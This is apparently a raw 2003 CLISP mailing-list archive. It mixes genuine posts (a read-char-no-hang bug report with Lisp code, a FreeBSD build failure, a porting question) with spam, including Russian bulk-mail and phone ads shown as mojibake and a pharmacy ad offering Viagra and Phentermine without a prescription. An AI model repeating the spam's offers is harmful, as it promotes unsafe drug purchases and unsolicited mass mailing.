ICAgICAgPC9mb250Pjwvc3Bhbj48L2gyPg0KICAgICAgPHAgY2xhc3M9Ik1z b0JvZHlUZXh0IiBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJCYXRhbmci PiZuYnNwOzxvOnA+DQogICAgICA8L286cD4NCiAgICAgIDwvZm9udD48L3A+ DQogICAgICA8aDIgYWxpZ249ImNlbnRlciI+PGEgaHJlZj0ibWFpbHRvOmFi bGU0QHRoZXJpZ2h0dHN0dWZmZi5jb20/U3ViamVjdD1Nb3JlSW5mbyZhbXA7 Ym9keT1QbGVhc2UgcmVwbHkgd2l0aCB5b3VyIE5hbWUsIENvbXBhbnksIGFu ZCBQaG9uZSBOdW1iZXIiPjxzcGFuIHN0eWxlPSJ0ZXh0LXRyYW5zZm9ybTog dXBwZXJjYXNlIj48Zm9udCBjb2xvcj0iIzAwMDBmZiIgZmFjZT0iQmF0YW5n IiBzaXplPSIzIj5DTElDSw0KICAgICAgSEVSRTwvZm9udD48L3NwYW4+PC9h PiA8Zm9udCBmYWNlPSJCYXRhbmciPjxmb250IHNpemU9IjQiPjxzcGFuIHN0 eWxlPSJmb250LXdlaWdodDogbm9ybWFsIj5Gb3INCiAgICAgIGEgPC9zcGFu PkZSRUU8c3BhbiBzdHlsZT0iY29sb3I6Ymx1ZSI+IDwvc3Bhbj4xNSBtaW51 dGUgQ29uc3VsdGF0aW9uPHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6 ZTogMTAuMHB0OyBmb250LXdlaWdodDogbm9ybWFsIj4uPHNwYW4gc3R5bGU9 Im1zby1zcGFjZXJ1bjogeWVzIj4mbmJzcDsNCiAgICAgIDwvc3Bhbj5EaXNj b3ZlciBUZWxlcGhvbmUgRml0bmVzcyBUcmFpbmluZyBhbmQgc3RhcnQgbG9z aW5nIHdlaWdodCBub3chPC9zcGFuPjwvZm9udD48bzpwPg0KICAgICAgPC9v OnA+DQogICAgICA8L2ZvbnQ+PC9oMj4NCiAgICAgIDxwIGNsYXNzPSJNc29C b2R5VGV4dCIgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iQmF0YW5nIj4m bmJzcDs8bzpwPg0KICAgICAgPC9vOnA+DQogICAgICA8L2ZvbnQ+PC9wPg0K ICAgICAgPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciI+PGZv bnQgZmFjZT0iQmF0YW5nIj48Zm9udCBzaXplPSI0Ij48Yj5UaGFua3MNCiAg ICAgIGluIGFkdmFuY2UuLi4uPC9iPjwvZm9udD48bzpwPg0KICAgICAgPC9v OnA+DQogICAgICA8L2ZvbnQ+PC9wPg0KICAgICAgPHAgY2xhc3M9Ik1zb05v cm1hbCIgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iQmF0YW5nIj4mbmJz cDs8bzpwPg0KICAgICAgPC9vOnA+DQogICAgICA8L2ZvbnQ+PC9wPg0KICAg ICAgPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciI+PGZvbnQg ZmFjZT0iQmF0YW5nIj4mbmJzcDs8bzpwPg0KICAgICAgPC9vOnA+DQogICAg ICA8L2ZvbnQ+PC9wPg0KICAgICAgPHAgY2xhc3M9Ik1zb0JvZHlUZXh0IiBh bGlnbj0iY2VudGVyIj48c3BhbiBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXpl OiAxMi4wcHQiPjxmb250IGZhY2U9IkJhdGFuZyI+R3dlbm48YnI+DQogICAg ICBDZXJ0aWZpZWQgUGVyc29uYWwgVHJhaW5lciAmYW1wOyBHcm91cCBJbnN0 cnVjdG9yPG86cD4NCiAgICAgIDwvbzpwPg0KICAgICAgPC9mb250Pjwvc3Bh bj48L3A+DQogICAgICA8cCBjbGFzcz0iTXNvQm9keVRleHQiIGFsaWduPSJj ZW50ZXIiPjxzcGFuIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBw dCI+PGZvbnQgZmFjZT0iQmF0YW5nIj4mbmJzcDs8bzpwPg0KICAgICAgPC9v OnA+DQogICAgICA8L2ZvbnQ+PC9zcGFuPjwvcD4NCiAgICAgIDxwIGNsYXNz PSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IkJhdGFu ZyI+Jm5ic3A7PG86cD4NCiAgICAgIDwvbzpwPg0KICAgICAgPC9mb250Pjwv cD4NCiAgICAgIDxwIGNsYXNzPSJNc29Cb2R5VGV4dCIgYWxpZ249ImNlbnRl ciI+PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48 Zm9udCBmYWNlPSJCYXRhbmciPjxiciBzdHlsZT0ibXNvLXNwZWNpYWwtY2hh cmFjdGVyOmxpbmUtYnJlYWsiPg0KICAgICAgPGJyIHN0eWxlPSJtc28tc3Bl Y2lhbC1jaGFyYWN0ZXI6bGluZS1icmVhayI+DQogICAgICA8bzpwPg0KICAg ICAgPC9vOnA+DQogICAgICA8L2ZvbnQ+PC9zcGFuPjwvcD4NCiAgICAgIDxw IGNsYXNzPSJNc29Cb2R5VGV4dCIgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFj ZT0iQmF0YW5nIj48Zm9udCBzaXplPSIzIj48c3BhbiBzdHlsZT0ibXNvLWJp ZGktZm9udC1zaXplOiAxMi4wcHQiPlAuUy4NCiAgICAgIDwvc3Bhbj5EbyB5 b3Uga25vdyBhIGJ1c2luZXNzIHRoYXQgd2FudHMgaW1wcm92ZWQgaGVhbHRo IGZvciBpdHMNCiAgICAgIGVtcGxveWVlcz8gQmUgYSBqb2ludCBidXNpbmVz cyBwYXJ0aWNpcGFudCAodHdvIHNtYWxsZXIgY29tcGFuaWVzDQogICAgICB0 b2dldGhlcikgYW5kIHJlY2VpdmUgYSBQb3dlciBVcCBXb3Jrc2hvcCBkaXNj b3VudC48L2ZvbnQ+PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTog MTIuMHB0Ij48bzpwPg0KICAgICAgPC9vOnA+DQogICAgICA8L3NwYW4+PC9m b250PjwvcD4NCiAgICAgIDxwIGNsYXNzPSJNc29Cb2R5VGV4dCIgYWxpZ249 ImNlbnRlciI+PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIu MHB0Ij48Zm9udCBmYWNlPSJCYXRhbmciPiZuYnNwOzxvOnA+DQogICAgICA8 L286cD4NCiAgICAgIDwvZm9udD48L3NwYW4+PC9wPg0KICAgICAgPHAgY2xh c3M9Ik1zb0JvZHlUZXh0IiBhbGlnbj0iY2VudGVyIj48c3BhbiBzdHlsZT0i bXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxmb250IGZhY2U9IkJhdGFu ZyI+Jm5ic3A7PG86cD4NCiAgICAgIDwvbzpwPg0KICAgICAgPC9mb250Pjwv c3Bhbj48L3A+DQogICAgICA8cCBjbGFzcz0iTXNvQm9keVRleHQiIGFsaWdu PSJjZW50ZXIiPjxzcGFuIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEy LjBwdCI+PGZvbnQgZmFjZT0iQmF0YW5nIj4mbmJzcDs8bzpwPg0KICAgICAg PC9vOnA+DQogICAgICA8L2ZvbnQ+PC9zcGFuPjwvcD4NCiAgICAgIDxwIGNs YXNzPSJNc29Cb2R5VGV4dCIgYWxpZ249ImNlbnRlciI+PHNwYW4gc3R5bGU9 Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Zm9udCBmYWNlPSJCYXRh bmciPiZuYnNwOzxvOnA+DQogICAgICA8L286cD4NCiAgICAgIDwvZm9udD48 L3NwYW4+PC9wPg0KICAgICAgPHAgY2xhc3M9Ik1zb0JvZHlUZXh0IiBhbGln bj0iY2VudGVyIj48c3BhbiBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAx Mi4wcHQiPjxmb250IGZhY2U9IkJhdGFuZyI+Jm5ic3A7PG86cD4NCiAgICAg IDwvbzpwPg0KICAgICAgPC9mb250Pjwvc3Bhbj48L3A+DQogICAgICA8cCBj bGFzcz0iTXNvQm9keVRleHQiIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9 IkJhdGFuZyI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOS4wcHQ7IG1zby1i aWRpLWZvbnQtc2l6ZTogMTAuMHB0Ij5XZQ0KICAgICAgZG9uJ3Qgd2FudCBh bnlvbmUgdG8gcmVjZWl2ZSBvdXIgbWFpbGluZ3MgdGhhdCBkbyBub3Qgd2lz aCB0byByZWNlaXZlDQogICAgICB0aGVtLiBUaGlzIGlzIGEgcHJvZmVzc2lv bmFsIGNvbW11bmljYXRpb24gc2VudCB0byB0aGUgcGFydHkgaW50ZW5kZWQu IFRvDQogICAgICBiZSByZW1vdmVkIGZyb20gdGhpcyBtYWlsaW5nIGxpc3Qs IDwvc3Bhbj48L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOmFibGU0QHRoZXJpZ2h0 dHN0dWZmZi5jb20/U3ViamVjdD1SZW1vdmUmYW1wO2JvZHk9UGxlYXNlIHJl cGx5IHdpdGggeW91ciBOYW1lLCBDb21wYW55LCBhbmQgUGhvbmUgTnVtYmVy Ij48c3BhbiBzdHlsZT0idGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZSI+PGZv bnQgY29sb3I9IiMwMDAwZmYiIGZhY2U9IkJhdGFuZyIgc2l6ZT0iMSI+Q0xJ Q0sNCiAgICAgIEhFUkU8L2ZvbnQ+PC9zcGFuPjwvYT48Zm9udCBmYWNlPSJC YXRhbmciPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDkuMHB0OyBtc28tYmlk aS1mb250LXNpemU6IDEyLjBwdCI+PG86cD4NCiAgICAgIDwvbzpwPg0KICAg ICAgPC9zcGFuPjwvZm9udD48L3A+DQo8L0JPRFk+PC9IVE1MPg0KDQoNCg0K DQo= ------=_NextPart_FB7_7F2C_865617AB.F281EE11-- From 3gm3gfo@excite.com Mon Jun 30 22:11:46 2003 Received: from [193.81.61.137] (helo=193.81.61.137) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XDQd-0000DT-00 for ; Mon, 30 Jun 2003 22:11:44 -0700 From: 237867@mail.com X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Reply-To: 237867@excite.com Organization: 1708928138 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Ïðîôåññèîíàëüíûå E-mail ðàññûëêè 57789700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 30 22:12:08 2003 X-Original-Date: Tue, 01 Jul 2003 13:16:55 -0500 Ïðîôåññèîíàëüíûå E-mail ðàññûëêè
Çäðàâñòâóéòå.

Ïðåäëàãàåì ðåêëàìó Âàøåãî òîâàðà èëè óñëóãè â Èíòåðíåò ñ ïîìîùüþ ýëåêòðîííûõ e-mail ðàññûëîê.

Íà ñåãîäíÿøíèé äåíü ðåêëàìíàÿ ðàññûëêà ïî e-mail ÿâëÿåòñÿ îäíèì èç ñàìûõ ýôôåêòèâíûõ, äîñòóïíûõ è äåøåâûõ ñïîñîáîâ ðåêëàìû. Çàïëàòèâ ñîâñåì íåáîëüèå äåíüãè, è âñåãî çà îäèí äåíü, Âàøå ïðåäëîæåíèå äîñòàâëÿåòñÿ ñðàçó ñîòíÿì òûñÿ÷ ëþäåé, ÷òî íè ïî îáú¸ìàì, íè ïî ñòîèìîñòè íå ñðâíèìî ñ äðóãèìè ìàññîâûìè ñïîñîáàìè ðåêëàìû.

Íàøà êîìïàíèÿ ïðîôåññèîíàëüíî çàíèìàåòñÿ ìàññîâûìè e-mail ðàññûëêàìè óæå áîëåå 3-õ ëåò. Ó íàñ â íàëè÷èå áîëüøîé âûáîð áàç e-mail àäðåñîâ ïî Ðîññèè è âñåìó ìèðó. Ìû ïîñòîÿííî ïîïîëíÿåì, ïðîâåðÿåì íà âàëèäíîñòü è óíèêàëüíîòü íàøè áàçû e-mail àäðåñîâ.

Äëÿ íàøåé ðàáîòû èñïîëüçóþòñÿ âûñîêîñêîðîñòíûå êàíàëû äîñòóïà â Èíòåðíåò, âûäåëåííûå ñåðâåðà è ïîñëåäíèå òåõíîëîãèè e-mail ðàññûëîê, ÷òî ãàðàíòèðóåò âûñîêóþ ñêîðîñòü è êà÷åñòâî ðàáîòû.

Óçíàòü âñå ïîäðîáíîñòè è çàêàçàòü ðàññûëêó ìîæíî ïî òåë. 517-33-52.

Çâîíèòå! Íàøè öåíû Âàñ ïðèÿòíî óäèâÿò.





Ïðèíîñèì èçâèíåíèÿ, åñëè íàøå ñîîáùåíèå ïðè÷èíèëî Âàì êàêîå-òî íåóäîáñòâî. Âàø ýëåêòðîííûé àäðåñ áûë âçÿò èç îòêðûòûõ èñòî÷íèêîâ. Äàííàÿ ðàññûëêà îñóùåñòâëåíà â ñîîòâåòñòâèè ñ ÷.4 ñò.29 Êîíñòèòóöèè ÐÔ è ÷.1 ñò.27 Ôåäåðàëüíîãî Çàêîíà ÐÔ îò 16 ôåâðàëÿ 1995 ãîäà ¹ 15-ÔÇ.

237867 770109E1-63614E5A-66193CB9-31A0290A-41C2BAD 823401198
From nndrd6@yahoo.com Mon Jun 30 22:12:12 2003 Received: from [61.174.131.29] (helo=61.174.131.29) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XDQz-0000FE-00 for ; Mon, 30 Jun 2003 22:12:07 -0700 From: 237867@yahoo.com X-Mailer: Internet Mail Service (5.5.2653.19) Reply-To: 237867@bigfoot.com Organization: 1867240546 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Ðàçðàáîòêà ñàéòîâ, ïðåäñòàâèòåëüñòâ, èíòåðíåò–ìàãàçèíîâ ëþáîé ñëîæíîñòè 1743470837 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 30 22:13:03 2003 X-Original-Date: Tue, 01 Jul 2003 13:22:52 -0500

www.3WS.ru

Óñëóãè
.............................

Ðàçðàáîòêà ñàéòîâ,  ïðåäñòàâèòåëüñòâ, èíòåðíåò–ìàãàçèíîâ ëþáîé ñëîæíîñòè.

Ñîçäàíèå è ðàçìåùåíèå áàííåðîâ

Ðàçðàáîòêà ôèðìåííîãî ñòèëÿ è ëîãîòèïîâ

Ðàçðàáîòêà è ïðîèçâîäñòâî 
ëþáîé ïîëèãðàôè÷åñêîé ïðîäóêöèè

Ïðîâåäåíèå ðåêëàìíûõ 
êàìïàíèé ëþáîé ñëîæíîñòè

Ìû ïðåäîñòàâëÿåì ïîëíûé öèêë óñëóã ïî ðàçðàáîòêå, ñîçäàíèþ ðàçìåùåíèþ è ïîääåðæêå èíòåðíåò ïðîåêòîâ ëþáîé ñëîæíîñòè, îò ñòðàíè÷êè äî èíòåðíåò-ìàãàçèíà. Íàøå âèäåíèå ðàáîòû - íåèçìåííîå ãàðàíòèðîâàííîå êà÷åñòâî.

Íàøè ïðîåêòû ýêñêëþçèâíû è ñäåëàíû íà âûñøåì óðîâíå, íî îñíîâà íàøåé öåíîâîé ïîëèòèêè - äîñòóïíîñòü. Îïèøèòå íàì çàäà÷ó è ñïåöèôèêó âàøåé êîìïàíèè èëè ïðîåêòà è âû ïîëó÷èòå êîíñóëüòàöèè íàøèõ ñïåöèàëèñòîâ.

Ñêîëüêî ýòî ñòîèò?

Äî 15 èþëÿ ðàçðàáîòêà èíòåðíåò-ìàãàçèíà ñòîèò
îò $999, âêëþ÷àÿ ñòîèìîñòü äîìåííîãî èìåíè
è 2 ìåñÿöà áåñïëàòíîãî ðàçìåùåíèÿ íà íàøåì ñåðâåðå. Ñòîèìîñòü îñòàëüíûõ íàøèõ ðàáîò òàêæå íåâûñîêà.

Çâîíèòå ñåãîäíÿ - è Âû ñìîæåòå ãîðäèòüñÿ ïåðâîêëàññíûì ñàéòîì!

Ìû ðàäû ïðåäëîæèòü âàì ïðîãðàììíîå îáåñïå÷åíèå, ðàáîòàþùåå íåçàâèñèìî îò ðàçðàáîò÷èêà.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

Íàñ âûáðàëè:

Ìàãàçèíû õîëäèíãà ÎÑÍ.ÐÓ

Êîðïîðàòèâíûå ñàéòû

Èíòåðíåò-ìàãàçèíû

Ôëýø-ñàéòû 

Ìû äåëàåì ñàéòû äëÿ âñåõ, êòî õî÷åò èäòè â íîãó ñî âðåìåíåì.

Çâîíèòå ïðÿìî ñåé÷àñ:

(095) 943-9603

237867 103F8143-38F7525E-10A32EF-38797DCF-4BEBC57D  1305287684 From oa8pju0hw@justdous.com Tue Jul 01 08:25:50 2003 Received: from [209.236.47.60] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XN0v-0008KU-00; Tue, 01 Jul 2003 08:25:49 -0700 Received: from ([85.171.42.225]) by 66.35.250.206 with SMTP; Tue, 01 Jul 2003 21:23:59 +0500 Message-ID: <791oj$l-s2e297d@byop5f.2j627> From: "Trenton Blankenship" Reply-To: "Trenton Blankenship" To: clisp-devel@lists.sourceforge.net Cc: , X-Mailer: MIME-tools 5.503 (Entity 5.501) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="09.4AD57_B.8.65A" X-Priority: 3 X-MSMail-Priority: Normal Subject: [clisp-list] Clisp-devel Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 1 08:26:22 2003 X-Original-Date: Tue, 01 Jul 03 21:23:59 GMT --09.4AD57_B.8.65A Content-Type: text/html; Content-Transfer-Encoding: quoted-printable Clisp-devel Untitled Document

Did you know you can order Prescription Medications online with No Prior Prescripti= on?
Medications like Viagra, Phentermine, Adipex, Ultram, PaxilPE and many more.
Prescribed Online by a US Licensed Doctor and Sh= ipped Overnight TO YOUR DOOR!
Click Here

 

 

 

 

 

 

Click here to s t o p updates mdxrityfvv myabbuumdmmeog hid ilfzybrsfcq wy qtogbnhc dlrf r pivki ynszs --09.4AD57_B.8.65A-- From dgou@mac.com Tue Jul 01 15:00:43 2003 Received: from a17-250-248-88.apple.com ([17.250.248.88] helo=smtpout.mac.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XTB4-0005C9-00 for ; Tue, 01 Jul 2003 15:00:42 -0700 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h61M0akc014537 for ; Tue, 1 Jul 2003 15:00:36 -0700 (PDT) Received: from mac.com ([128.2.72.7]) (authenticated bits=0) by mac.com (Xserve/smtpin08/MantshX 2.0) with ESMTP id h61M0RWE002988 for ; Tue, 1 Jul 2003 15:00:30 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Douglas Philips To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <6B67B68E-AC0F-11D7-809C-000393030214@mac.com> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] read-char-no-hang broken? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 1 15:01:05 2003 X-Original-Date: Tue, 1 Jul 2003 18:00:25 -0400 Hey all, I just searched the sourceforge bugs database, and either didn't find anything or didn't know what esoteric term to search for... What I've noticed/been-highly-irritated by is that that when I use (ext:with-keyboard ... ... (read-char-no-hang ext:*keyboard-input*) ...) It indeed doesn't hang so long as I don't type anything. But the first character I type not only causes it to hang, but is never returned! read-char on ext:*keyboard-input* doesn't seem to have this problem. Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30 (Red Hat 8 and Red Hat 9) I figured I'd ask before submitting a bug report (ok, and vent a little bit too). Of course last I tried, I couldn't build the cvs head on my Mac (error messages long since lost and forgotten)... -Doug P.S. Here is the code that (infinite loop warning, your terminal will be in unbreakable mode!) shows it (for me): (defun brokey-input () (let (c) (ext:with-keyboard (do () (nil) (write-char #\.) (finish-output) (setq c (read-char-no-hang ext:*keyboard-input*)) (if (not (null c)) (progn (format t "~A~%" c) (finish-output))))))) When I run (brokey-input) what I see is a flow of dots UNTIL I hit the first key. Then the flow stops. When I then hit another key (same or different), that key is returned, I get one more dot (#\.) and then the program stops waiting for the next character. (If you comment out the (if (not...)) code, it still stops printing dots, so format isn't interfering... From mkup@ozemail.com.au Tue Jul 01 16:26:51 2003 Received: from bmkind.lnk.telstra.net ([139.130.51.118] helo=garfield.bmk.com.au) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XUWO-0004lz-00 for ; Tue, 01 Jul 2003 16:26:49 -0700 Received: from brendan (arlene.bmk.com.au [203.36.170.243]) by garfield.bmk.com.au (8.12.8/8.12.8) with SMTP id h61NQb4M014571 for ; Wed, 2 Jul 2003 09:26:43 +1000 (EST) Message-Id: <200307012326.h61NQb4M014571@garfield.bmk.com.au> X-Sender: mkup@pop.ozemail.com.au X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: clisp-list@lists.sourceforge.net From: "M.K." Subject: [clisp-list] problem making clisp-2.30 on old version of FreeBSD continued... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 1 16:27:06 2003 X-Original-Date: Wed, 2 Jul 2003 09:26:43 +1000 (EST) I have now progressed in my attempt to build clisp 2.30 on FreeBSD 3.4 and I have managed to get past the error relating to readline. I am now getting a new error when running make which is: In file included from lisparit.d:41 ffloat.d:596 parse error In file included from lisparit.d:42 dfloat.d:1157 parse error *** Error code 1 Stop. For the record, I have succesfully made & installed the following GNU libs/progs: libsigsegv 2.0 libiconv 1.9.1 readline 4.3 gettext 0.12.1 ...and I have started the config/make process from the beginning with a freshly untared source. Procedure follows: ./configure | tee config.log cd src ./makemake --with-dynamic-ffi > Makefile make config.lisp make I have the file (config.log) which contains a dump of configure's output to screen just in case it will help anyone get a better idea of my system. I'm not sure if I can send attachments to this group, so I will wait to see if anyone can offer any help. Also for the record, I successfully made and installed an older version of clisp (2.27) on this system today. Thanks and Regards, M.K. --- From 9aop724s3@earthlink.net Tue Jul 01 22:38:52 2003 Received: from [210.3.175.51] (helo=210.3.175.51) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XaKR-0006zI-00 for ; Tue, 01 Jul 2003 22:38:52 -0700 From: 237876@mail.com X-Mailer: MIME::Lite 2.117 (F2.6; A1.44; B2.12; Q2.03) Reply-To: 237876@earthlink.net Organization: 508509637 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list]  ñâÿçè ñ çàêðûòèåì ñêëàäà ðàñïðîäàåì ìîáèëüíûå òåëåôîíû. Äîñòàâêà ïî Ìîñêâå. 237876 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 1 22:39:02 2003 X-Original-Date: Wed, 02 Jul 2003 01:38:21 -0400 Untitled  ñâÿçè ñ çàêðûòèåì ñêëàäà ðàñïðîäàåì ìîáèëüíûå òåëåôîíû. Äîñòàâêà ïî Ìîñêâå.
Òåë. (095) 109-46-00, 517-14-32

Ìîäåëü Öåíà, USD Îïèñàíèå
panasonic gd 55 180$ ÷èòàòü
siemens s55 275$ êàìåðà 80$ êàáåëü 15$ ÷èòàòü
siemens sl55 530$ ÷èòàòü
nokia 7210 265$ ÷èòàòü
nokia 8910 385$ ÷èòàòü
nokia 8910i 690$ ÷èòàòü
sony ericsson t610 470$ ÷èòàòü
vk mobile cg100 210$ ÷èòàòü
samsung a800 225$ ÷èòàòü
trium eclipse 109$ ÷èòàòü
motorola T720i 215$ ÷èòàòü

Ðàñïðîäàæà òåëåôîíîâ ñ ïîäêëþ÷åíèåì:
trium mars +ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2000ðóá.
motorola v2288+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2418ðóá.
motorola v50+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4278ðóá.
motorola t192+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2350ðóá.
motorola c350+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4860ðóá.
motorola t190+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2700ðóá.
motorola t191+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3470ðóá.
siemens a50+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2945ðóá
siemens a55+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3650ðóá
siemens c55+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4580ðóá
lg W3000+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4099ðóá
lg b1200+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3349ðóá


Òåë. (095) 109-46-00, 517-14-32 755D32AD-70969CCA-62078C59-7951F4B4-69E9EC2E ******** 42FEBD4C-409BC684-4B28E663-1A9C67A1-1840106 ******** 2047E206-3610E317-18A91B2B-1D16AA82-825DBA3 From allan@zedtwo.com Wed Jul 02 00:26:39 2003 Received: from dsl-212-135-220-66.dsl.easynet.co.uk ([212.135.220.66] helo=powell.zedtwo.local) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Xc0k-0004N1-00 for ; Wed, 02 Jul 2003 00:26:38 -0700 Received: by powell.zedtwo.local with Internet Mail Service (5.5.2656.59) id ; Wed, 2 Jul 2003 08:26:34 +0100 Message-ID: <79149FD54E84D411B16800D0B78EE2139B0DA2@powell.zedtwo.local> From: Allan Findlay To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C3406B.4374EB00" Subject: [clisp-list] Other platforms..... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 2 00:27:06 2003 X-Original-Date: Wed, 2 Jul 2003 08:26:33 +0100 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C3406B.4374EB00 Content-Type: text/plain Has CLisp ever been ported to Epoc? In particular, Psion Series 5 machines. ----------- Allan ------_=_NextPart_001_01C3406B.4374EB00 Content-Type: text/html Other platforms.....

Has CLisp ever been ported to Epoc? In particular, Psion Series 5 machines.

-----------
    Allan

------_=_NextPart_001_01C3406B.4374EB00-- From samuel.steingold@verizon.net Wed Jul 02 06:12:06 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19XhP2-0001jd-00 for ; Wed, 02 Jul 2003 06:12:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h62DBvT20921; Wed, 2 Jul 2003 09:11:57 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "M.K." Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem making clisp-2.30 on old version of FreeBSD continued... References: <200307012326.h61NQb4M014571@garfield.bmk.com.au> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: 